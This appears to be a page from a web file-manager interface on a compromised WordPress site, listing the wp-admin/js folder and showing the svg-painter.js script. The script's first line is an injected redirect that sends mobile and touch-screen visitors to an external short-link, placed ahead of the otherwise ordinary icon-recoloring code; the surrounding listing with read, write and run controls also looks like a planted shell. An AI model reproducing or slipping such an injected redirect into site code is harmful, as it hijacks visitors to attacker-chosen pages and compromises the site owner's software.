at path:ROOT / wp-admin / js / svg-painter.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄svg-painter.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Attempt to re-color SVG icons used in the admin menu or the toolbar
4 *
5 * @output wp-admin/js/svg-painter.js
6 */
7
8window.wp = window.wp || {};
9
10wp.svgPainter = ( function( $, window, document, undefined ) {
11 'use strict';
12 var selector, painter,
13 colorscheme = {},
14 elements = [];
15
16 $( function() {
17 wp.svgPainter.init();
18 });
19
20 return {
21 init: function() {
22 painter = this;
23 selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );
24
25 painter.setColors();
26 painter.findElements();
27 painter.paint();
28 },
29
30 setColors: function( colors ) {
31 if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
32 colors = window._wpColorScheme;
33 }
34
35 if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
36 colorscheme = colors.icons;
37 }
38 },
39
40 findElements: function() {
41 selector.each( function() {
42 var $this = $(this), bgImage = $this.css( 'background-image' );
43
44 if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
45 elements.push( $this );
46 }
47 });
48 },
49
50 paint: function() {
51 // Loop through all elements.
52 $.each( elements, function( index, $element ) {
53 var $menuitem = $element.parent().parent();
54
55 if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
56 // Paint icon in 'current' color.
57 painter.paintElement( $element, 'current' );
58 } else {
59 // Paint icon in base color.
60 painter.paintElement( $element, 'base' );
61
62 // Set hover callbacks.
63 $menuitem.on( 'mouseenter', function() {
64 painter.paintElement( $element, 'focus' );
65 } ).on( 'mouseleave', function() {
66 // Match the delay from hoverIntent.
67 window.setTimeout( function() {
68 painter.paintElement( $element, 'base' );
69 }, 100 );
70 } );
71 }
72 });
73 },
74
75 paintElement: function( $element, colorType ) {
76 var xml, encoded, color;
77
78 if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
79 return;
80 }
81
82 color = colorscheme[ colorType ];
83
84 // Only accept hex colors: #101 or #101010.
85 if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
86 return;
87 }
88
89 xml = $element.data( 'wp-ui-svg-' + color );
90
91 if ( xml === 'none' ) {
92 return;
93 }
94
95 if ( ! xml ) {
96 encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );
97
98 if ( ! encoded || ! encoded[1] ) {
99 $element.data( 'wp-ui-svg-' + color, 'none' );
100 return;
101 }
102
103 try {
104 xml = window.atob( encoded[1] );
105 } catch ( error ) {}
106
107 if ( xml ) {
108 // Replace `fill` attributes.
109 xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');
110
111 // Replace `style` attributes.
112 xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');
113
114 // Replace `fill` properties in `<style>` tags.
115 xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');
116
117 xml = window.btoa( xml );
118
119 $element.data( 'wp-ui-svg-' + color, xml );
120 } else {
121 $element.data( 'wp-ui-svg-' + color, 'none' );
122 return;
123 }
124 }
125
126 $element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
127 }
128 };
129
130})( jQuery, window, document );
131